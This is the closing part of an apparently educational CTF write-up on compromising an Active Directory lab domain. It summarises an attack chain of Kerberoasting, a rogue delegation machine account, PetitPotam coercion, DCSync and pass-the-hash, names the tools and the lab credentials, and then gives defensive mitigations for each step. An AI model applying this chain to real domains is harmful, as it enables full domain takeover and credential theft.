  → NETLOGON users.bat — A.Briggs:P4ssw0rd1#123 recovered in plaintext

Authenticated LDAP as A.Briggs
  → bloodyAD get writable — WRITE on N.Thompson + CREATE_CHILD on DNS zone

Targeted Kerberoasting (targetedKerberoast.py)
  → SPN written to N.Thompson via WRITE ACE
  → TGS-REP hash captured → Hashcat (mode 13100, 4s) → N.Thompson:KALEB_2341
  → Evil-WinRM foothold → user.txt retrieved

Rogue computer account evil$ (MachineAccountQuota)
  → TRUSTED_FOR_DELEGATION set via bloodyAD
  → DNS A record evil.delegate.vl → 10.10.14.95 injected via CREATE_CHILD

krbrelayx listener as evil$ (unconstrained delegation)
  + PetitPotam coercion (MS-EFSRPC) against DC1
  → DC1$ TGT captured in .ccache format

DCSync via DRSUAPI (impacket-secretsdump -k)
  → Administrator NT hash extracted
  → Pass-the-Hash over WinRM → root.txt retrieved

Mitigations and Security Recommendations

Restrict Anonymous SID/Name Translation. Disable null SMB sessions and anonymous SAMR enumeration by configuring the RestrictAnonymous and RestrictAnonymousSAM registry values on all domain controllers. Without this, the full user and group namespace — including the suggestively named delegation admins group — is available to any unauthenticated host on the network.

Remove Credentials from NETLOGON and SYSVOL Scripts. Logon scripts stored on NETLOGON are readable by any domain-joined computer before user authentication occurs, and by any host with anonymous SMB access when null sessions are permitted. Plaintext credentials must never appear in logon scripts. Legacy automation that requires credentials should use Group Policy Preferences with proper credential vaulting, managed service accounts, or a secrets management system such as Windows Credential Manager with appropriate ACLs.

Audit and Restrict Write-Type ACEs on User Objects. A single WRITE/GenericWrite ACE on a user object is sufficient for a targeted Kerberoasting attack — it does not require GenericAll or WriteDacl. Active Directory ACL reviews should specifically enumerate principals with write access to servicePrincipalName and other sensitive attributes on user objects. Tools such as bloodyAD get writable, BloodHound, or Get-ACL can identify these misconfigurations efficiently.

Eliminate Unconstrained Delegation. Any computer or service account marked TRUSTED_FOR_DELEGATION functions as a live TGT harvesting trap for every account that authenticates to it. Replace unconstrained delegation with Kerberos Constrained Delegation (KCD) or Resource-Based Constrained Delegation (RBCD), both of which restrict the services that the delegating principal can impersonate users against. Conduct a regular audit of all objects with TRUSTED_FOR_DELEGATION set in userAccountControl using Get-ADComputer -Filter {TrustedForDelegation -eq $true} or equivalent.

Reduce MachineAccountQuota. Setting ms-DS-MachineAccountQuota to 0 for non-administrative users prevents arbitrary computer account creation. This eliminates the primitive that allows any authenticated domain user to introduce a rogue, attacker-controlled machine account into the domain. Machine account provisioning should be delegated exclusively to specific administrative groups with a documented approval process.

Mitigate Authentication Coercion Techniques. Disable the MS-EFSRPC interface (EfsRpcOpenFileRaw) on Domain Controllers where Encrypting File System remote operations are not required. Enable Extended Protection for Authentication (EPA) and SMB signing enforcement on all endpoints, and apply Microsoft’s published guidance for mitigating PetitPotam-class coercion. Network-level controls should block outbound SMB and Kerberos authentication from Domain Controllers to non-DC hosts where feasible.

Audit and Alert on DCSync Activity. The Replicating Directory Changes and Replicating Directory Changes All extended rights should be held only by legitimate Domain Controller machine accounts. Any request for DRSUAPI directory replication from a non-DC principal should trigger an immediate security alert. Microsoft Defender for Identity and equivalent products can detect DCSync attempts in real time by monitoring for 4662 events with the relevant access GUIDs.

Enforce a Strong Password Policy on all Service and User Accounts. Both the logon-script credential (P4ssw0rd1#123) and the Kerberoasted hash (KALEB_2341) were crackable against the RockYou wordlist in seconds. A domain-wide password policy enforcing minimum length, complexity, and breached-password checks would have prevented both offline recoveries. Prefer Group Managed Service Accounts (gMSA) for service accounts that do not require interactive logon, as the domain rotates their passwords automatically and the passwords are never directly readable by administrators.

This post is licensed under CC BY 4.0 by the author.